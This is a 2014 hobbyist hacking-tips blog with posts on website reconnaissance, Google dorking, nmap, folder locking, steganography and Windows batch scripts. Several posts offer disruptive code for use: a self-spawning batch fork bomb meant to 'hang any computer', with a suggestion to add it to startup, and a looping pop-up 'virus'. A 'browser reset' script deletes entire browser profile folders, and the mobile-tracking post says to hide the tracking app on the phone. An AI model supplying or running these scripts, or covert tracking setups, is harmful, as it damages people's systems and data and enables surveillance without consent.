Saturday 28 June 2014

How to collect information about any website

Here is the video to show how we can use various online and offline tools to gather information related to any website which may include but not limited to the owner, address, contact details, servers information, operating system on the server, secret directories,etc.
You can collect network information, company details like no of employees, their contact persons, etc

Email tracking: Trace any email to verify the actual sender

Here is the video to demonstrate, how you can trace any email that you have received to confirm or verify the sender. There lots of free online email tracking service. You can track the fake mailer targeting you.

This email tracking makes use of email headers,

Google as a tool for hackers : Hidden Googling tricks

Google Search Engine is very popular among hackers. For them Google is not only a search engine but also an effective harvesting tool. Using Google on can view your security camera, the files storing user login details, find vulnerable website, login pages,etc.
Even Google can be used to browser blocked websites.
See How in following video.

Tuesday 24 June 2014

Nmap for fining open ports and OS of remote PC

The way to find out system information of any remote computer using vary popular tool "Nmap".



The result of scan may include following details depending on options you set in nmap

  1. IP Address and MAC
  2. Open and filtered ports
  3. Services and its version
  4. OS and Architecture
  5. System Name
First you need to download and install nmap in your computer.



Monday 23 June 2014

Folder lock using cmd

Easy way to lock any folder in windows using command prompt.

COMMAND:
to lock:
cacls secret /p everyone:n

to unlock:
cacls secret /p everyone:f

Friday 20 June 2014

Ways to Hide Drives in Windows

Hiding drives form my computer using registry editing.

  1. Open Registry Editor ( Run - > regdit )
  2. Now Browse the following entry from the left side panel. {HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer}
  3. Now check the ride side panel after selecting Explorer. The NoDrives key most likely does not exist by default, so you’ll need to create it with   ( right-click - > New 32-bit DWORD ) and name it NoDrives.
  4. The value is obtained by arranging drive letters A to H in reverse order, with 1 for hiding that drive and 0 for unhidden. 
  5. Set the value by converting the Binary to Decimal or Hex.


For example, if we wanted to hide drives D and F we would arrange it like this:

       F  E  D  C  B  A
       1  0  1  0  0  0
So, 101000 will hide drives D and F

You can also refer this table.
Drive       Decimal         Hex
A              1            1
B              2            2
C              4            4
D              8            8
E              16          10
F              32          20
G              64          40
H              128         80

To hide multiple drives add its corresponding values(here 8+20=28 in hex)

Monday 16 June 2014

Free Mobile location tracking service by Samsung

Samsung is providing free mobile tracking service to its customers

If you own a Samsung smartphone, you can track the location of your phone on Samsung Website.

Enabling Samsung Mobile location Tracking Service:
1. Add Samsung account on your phone.
2. Enable location tracking options on your phone from settings.

Tracking your mobile:
1. Visit Find My Mobile- Samsung
2. Login with the same samsung account you added on your phone.
3. Under registered Device, you will find your mobile number and model after login.
4. Click on Locate my device Button, it will turn on your phone GPS and locate your mobile on map.


List of free and open source tools for Information security practices

Here is the huge list of tool for information security that are freely available and open source.


Open Source/Free Tools:
  1. OllyDbg - Reverse Engineering
  2. Ntop - Network Probing
  3. MBSA - Vulnerability assessment
  4. OSSIM - Complete InfoSec Product
  5. Medusa - Password Cracking
  6. OpenSSL - SSL and TLS
  7. fgdump/pwdump - Password Cracking
  8. Tor - Proxy
  9. OpenVPN - VPN
  10. SET - Social Engineering
  11. Yersinia - Protocoal attack
  12. sslstrip - HTTP/HTTPS convert
  13. EtherApe - Network activity

Free Website Hosting Service by Google

Google is providing free hosting of websites on PHP, JAVA and Python

Google App Engine is a Platform as a Service (PaaS) offering that lets you build and run applications on Google’s infrastructure. App Engine applications are easy to build, easy to maintain, and easy to scale as your traffic and data storage needs change. With App Engine, there are no servers for you to maintain.
You simply upload your application and it’s ready to go.


Google App Engine supports apps written in a variety of programming languages:

Java: Using App Engine’s Java runtime environment, you can build your application using standard Java technologies
Python: App Engine features a fast Python interpreter and standard Python libraries
PHP: App Engine uses Google's Cloud Platform services under the hood when you call standard PHP functions
Read more about features in Google App Engine here

Sunday 15 June 2014

Online mobile location tracking

Tracking location of your mobile

Enable location tracking in your mobile
1. Download and Install Copy 10 application on your mobile from here

2. Sign Up at Copy 10

3. Now login inside Copy 10 in your mobile

4. Reboot your mobile and hide the copy 10 app.

Locate your mobile
1.  Login to website www.copy10.com

2. Now click on "Sync Now" button from GPS History


Hide data to protect from unwanted access

Using WinRAR and Images to hide data

1. Copy all data to be hidden in one folder (here -> secret )

2. Now create zip the folder using WinRAR in rar format. (here -> secret.rar)

3. Copy any Image to location where your zipped file is located. (here -> picture.jpg)

Now press shift + right click at empty area in the same window to get "Open command window here" option.



4. Now enter following commands:

    copy /b picture.jpg + secret.rar newpicture.jpg





Now if you double click the newly create file "newpicture.jpg" , image will open in Picture Viewer.

5. To view the hidden files,

Open "newpicture.jpg" using WinRAR



Find MAC address of any computer

Find MAC address of any computer in your network in windows

Open command prompt and run following commands...

net view
it will list all computers in your workgroup

ping -4 Computer_Name
it will send ICMP echo request to remote computer
and note down the IP address

arp -a
this will list IP and corresponding  MAC

Now look for that IP in this list, the MAC address will be under Physical Address column..



Wednesday 11 June 2014

Reset your browsers to remove annoying ads using Batch programming

Remove advertisements from browser by resetting the browser using batch programming

1. Open notepad and copy following code:

@ECHO OFF
echo Reseting your Browsers....
rd /s /q "%UserProfile%\AppData\Local\Google\Chrome\User Data"
taskkill.exe /F /IM firefox.exe /T
rd /s /q %UserProfile%\AppData\Local\Mozilla
rd /s /q %UserProfile%\AppData\Roaming\Mozilla
taskkill.exe /F /IM iexplore.exe /T
rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 255
rundll32 inetcpl.cpl ResetIEtoDefaults
echo .
echo Reset Successful....
echo Press any key to exit
pause > nul
exit

2. Save this file as reset.bat and select Save as Type: All Files

3. Now run the file.

 

Tuesday 10 June 2014

Find IP of online PC in your network using batch programming

Batch Programming to find out online computer in a network

1. Open notepad and copy the following code:

@ECHO OFF
for /L %%i in (1,1,254) do ping -n 1 192.168.1.%%i >> ping.txt
find "TTL" < ping.txt > onlineip.txt
del ping.txt
echo .
echo Ping Report has been saved to onlineip.txt
more onlineip.txt
echo Press any key to exit
PAUSE > NUL
EXIT


2. Set your network IP in the code.

3. Save the file as pinger.bat and select Save as type: All Files

4. Execute pinger.bat  and it will save the result in onlineip.txt file.


Clearing Internet History, DNS cache and Temporary files using Batch Programming

Clear internet History, DNS cache and windows temporary files by creating .bat File...

1. Open notepad and copy the following code:

@ECHO OFF
Echo Clearing Temporary Internet Files and History ...
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255
Echo Temporary Internet Files and History Deleted Successfully!
Echo.
Echo Clearing Temporary File ...
rmdir %temp% /s /q
rmdir c:\windows\temp /s /q
rmdir c:\windows\prefetch\*.* /s /q
Echo.
Echo Clearing DNS cache ...
ipconfig /flushdns
Echo.
Echo Press any key to continue . . .
PAUSE > NUL
EXIT


2. Now save this file as cleaner.bat and select Save as Type: All Files
3. Now execute the cleaner.bat



Saturday 7 June 2014

Create notepad virus to popup Message Box

With this you can create a batch file that keeps bring Message box with "Memory Failure"

Open notepad and copy the following code:

:lp
@ECHO OFF
echo msgbox "Memory Failure" > box.vbs
call box.vbs
start /min 123.bat
goto lp


Save this file with name -  123.bat and select Save as Type  - All Files(*)


Simple Virus using Notepad

With this you can create simple notepad virus that can hang any computer...


Open notepad and copy the following code:

:loop
start virus.bat
goto loop

Now save the file with name "virus.bat"  and select Save as Type "All files(*)"  from list.

If you run this batch file, this keeps executing itself, until you restart your computer.

You can also add this program to startup.






Friday 6 June 2014

Folder lock by Batch Programming - create your own folder lock using notepad

Steps to create folder lock using notepad and batch programming

1. Open Notepad and copy the following code:

@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
cacls "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" /p everyone:n
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== folderlock goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
cacls "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" /p everyone:f
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End

2. Now Replace the "folderlock" with your password.

3. Save the File as locker.bat by clicking save as and selecting All files in Save as Type option.

4. Create a Folder with name Private at location where your locker.bat was created. Copy all data to be locked in Private folder.

5. Now Run locker.bat and Press Y if it asks.

You have successfully locked your private files.

Now to unlock

1. run locker.bat and provide your password.

Your Private folder will be unlocked.